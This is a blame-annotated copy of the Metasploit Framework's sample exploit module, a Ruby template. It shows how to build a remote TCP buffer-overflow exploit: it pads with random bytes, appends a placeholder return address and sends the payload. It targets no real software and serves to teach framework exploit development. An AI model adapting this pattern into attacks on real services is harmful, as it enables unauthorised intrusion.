2010-05-03 17:13:09 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-10-09 02:29:55 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-05-03 17:13:09 +00:00
|
|
|
##
|
|
|
|
|
2005-11-28 23:49:48 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
###
|
|
|
|
#
|
|
|
|
# This exploit sample shows how an exploit module could be written to exploit
|
|
|
|
# a bug in an arbitrary TCP server.
|
|
|
|
#
|
|
|
|
###
|
2012-10-09 02:23:38 +00:00
|
|
|
class Metasploit4 < Msf::Exploit::Remote
|
2005-11-28 23:49:48 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
#
|
|
|
|
# This exploit affects TCP servers, so we use the TCP client mixin.
|
|
|
|
#
|
|
|
|
include Exploit::Remote::Tcp
|
2005-11-28 23:49:48 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Sample Exploit',
|
|
|
|
'Description' => %q{
|
|
|
|
This exploit module illustrates how a vulnerability could be exploited
|
|
|
|
in an TCP server that has a parsing bug.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => ['skape'],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
# Target 0: Windows All
|
|
|
|
[
|
|
|
|
'Windows XP/Vista/7/8',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Ret' => 0x41424344
|
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => "Apr 1 2013",
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
2005-11-28 23:49:48 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
#
|
|
|
|
# The sample exploit just indicates that the remote host is always
|
|
|
|
# vulnerable.
|
|
|
|
#
|
|
|
|
def check
|
|
|
|
Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
2005-11-28 23:49:48 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
#
|
|
|
|
# The exploit method connects to the remote service and sends 1024 random bytes
|
|
|
|
# followed by the fake return address and then the payload.
|
|
|
|
#
|
|
|
|
def exploit
|
|
|
|
connect
|
2005-11-28 23:49:48 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
print_status("Sending #{payload.encoded.length} byte payload...")
|
2005-11-28 23:49:48 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
# Build the buffer for transmission
|
|
|
|
buf = rand_text_alpha(1024)
|
|
|
|
buf << [ target.ret ].pack('V')
|
|
|
|
buf << payload.encoded
|
2005-11-28 23:49:48 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
# Send it off
|
|
|
|
sock.put(buf)
|
|
|
|
sock.get_once
|
2005-11-28 23:49:48 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
handler
|
|
|
|
end
|
2005-11-28 23:49:48 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
|